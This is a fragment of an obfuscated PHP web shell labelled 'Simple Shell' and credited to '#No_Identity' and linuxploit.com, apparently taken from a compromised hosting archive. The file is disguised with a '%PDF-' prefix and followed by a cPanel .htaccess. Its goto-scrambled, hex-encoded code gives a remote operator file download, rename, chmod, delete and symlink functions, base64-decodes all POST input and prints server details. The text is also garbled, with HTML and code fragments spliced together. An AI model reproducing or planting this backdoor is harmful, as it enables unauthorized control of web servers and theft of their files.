header("\103\157\x6e\164\x65\x6e\x74\55\124\x79\160\x65\72\x20\x61\x70\160\x6c\151\143\141\x74\151\x6f\156\x2f\x6f\143\164\145\164\x2d\x73\164\x72\145\x61\155"); header("\x43\x6f\x6e\164\145\x6e\x74\x2d\x44\151\163\x70\157\x73\151\x74\151\x6f\x6e\x3a\40\x61\164\x74\141\x63\x68\155\x65\x6e\x74\73\x20\x66\151\154\x65\156\x61\x6d\x65\x3d\x22" . basename($_POST["\x64\x6c"]) . "\x22"); readfile($_GET["\x64\x6c"]); die; } goto VL0x7; zYp1N: goto C8wlP; goto oFCnH; Mpu07: if (isset($_GET["\x72\145\156\141\x6d\145"], $_GET["\156\145\x77"])) { if (rename($_GET["\x72\x65\x6e\x61\x6d\x65"], $dir . "\x2f" . basename($_GET["\156\145\x77"]))) { echo "\x3c\x73\x70\141\156\x20\x63\154\141\x73\163\75\x22\163\x75\143\143\145\x73\x73\42\x3e\x52\x45\116\101\x4d\105\40\x53\x55\103\103\105\123\x53\x21\74\x2f\x73\160\x61\x6e\x3e"; } else { echo "\x3c\163\x70\141\x6e\x20\x63\154\141\x73\163\75\x22\146\x61\151\154\x65\x64\42\x3e\x52\105\116\101\x4d\x45\x20\106\x41\x49\x4c\105\104\x21\x3c\x2f\163\x70\x61\x6e\76"; } } goto vQ0kp; e8hw7: error_reporting(0); goto gyNXR; NEWUH: VF_NF: goto kEaX7; mbCsH: goto n3Wtg; goto UzpZw; aNwkf: echo $_SERVER["\122\x45\115\x4f\124\105\137\x41\x44\104\x52"]; goto l2FO0; CWw_E: goto P5gEt; goto vmpZN; WTwPL: function perms($path) { clearstatcache(); $perms = fileperms($path); $x = array("\125", "\x70", "\x63", "\125", "\x64", "\x55", "\142", "\x55", "\x72", "\x55", "\154", "\x55", "\x73", "\x55", "\x55", "\x55"); $info = $x[$perms >> 12] . implode('', array_map(function ($b, $m) { return $b == "\61" ? $m : "\x2d"; }, str_split(decbin($perms & 4095) . ''), str_split("\x72\167\x78\162\x77\170\x72\167\x78"))); return $info . "\x20" . substr(sprintf("\45\157", @fileperms($path)), -4); } goto WKcaf; m13jQ: goto nwNKM; goto Qmuvh; Day2P: goto K2JFo; goto Z1yYN; Hm003: goto GoStv; goto Sy3d0; csMkk: ?>

SERVER IP:

SERVER INFO: %PDF- %PDF- ">[Shell Path]
"name="dir"id="dir"style="width:500px"value=" $v) { $_POST[$k] = d($v); } goto ZIXEC; vqa13: g2qMS: goto HbkzD; Irzow: xONan: goto WTwPL; J9Wq5: goto HYF8q; goto vqa13; fqFBU: ORsL3: goto JErC8; YbxjV: NpFik: goto EPszX; xeXvn: goto LRFn1; goto p6yJ7; cu4lU: goto mkxP9; goto Ol2vF; YLcXi: uSYV0: goto e8hw7; LgmiM: bFMVa: goto ar7uW; P4PAo: goto N1KOe; goto yGHBj; AdG76: HYF8q: goto NPVQ3; acxZe: goto Zm55y; goto m1MwV; T3U39: goto ma2Aj; goto n4Jnk; TbCJq: echo symlinkDomain($dom); goto oRr1E; QPlsu: qhlbJ: goto SE5qM; asYhk: GoStv: goto E7Ltx; m1MwV: baeBM: goto aNwkf; SE5qM: function d($s) { return base64_decode($s); } goto w0U0L; ZIXEC: goto bxhI2; goto AdG76; HbkzD: ini_set("\144\x69\x73\x70\154\141\171\137\x65\162\x72\157\x72\x73", 1); goto bBOAJ; MbvJv: goto Lbzv4; goto YkDdC; DjHcl: goto VF_NF; goto XqAKM; w0U0L: goto mevDp; goto xm6UQ; narUF: n3Wtg: goto pMWwT; GZMYY: goto DlgBF; goto BWEFf; xm6UQ: C8wlP: goto Zf52B; MFPEQ: ?> ">
Directory: "\55\55\x2d"); } } goto C0z5G; kFKuz: K2JFo: goto OLNfo; du6N7: ?> Simple ShellYOUR IP:
SIZEModified DatePERMSACTION
"> "> "class="btn"onclick='return chtime(this," ")'> "class="btn"onclick='return chmod(this," ")'> "class="btn icon delete"onclick='return confirm("Sure to delete?")'title="Delete"> "class="btn icon rename"onclick='return rename(this," ")'title="Rename">
Modified By #No_Identity :: github.com/yon3zu - linuxploit.com.htaccess000064400000000441152507151540006346 0ustar00 # php -- BEGIN cPanel-generated handler, do not edit # Set the “ea-php74” package as the default “PHP” programming language. AddHandler application/x-httpd-ea-php74___lsphp .php .php7 .phtml # php -- END cPanel-generated handler, do not edit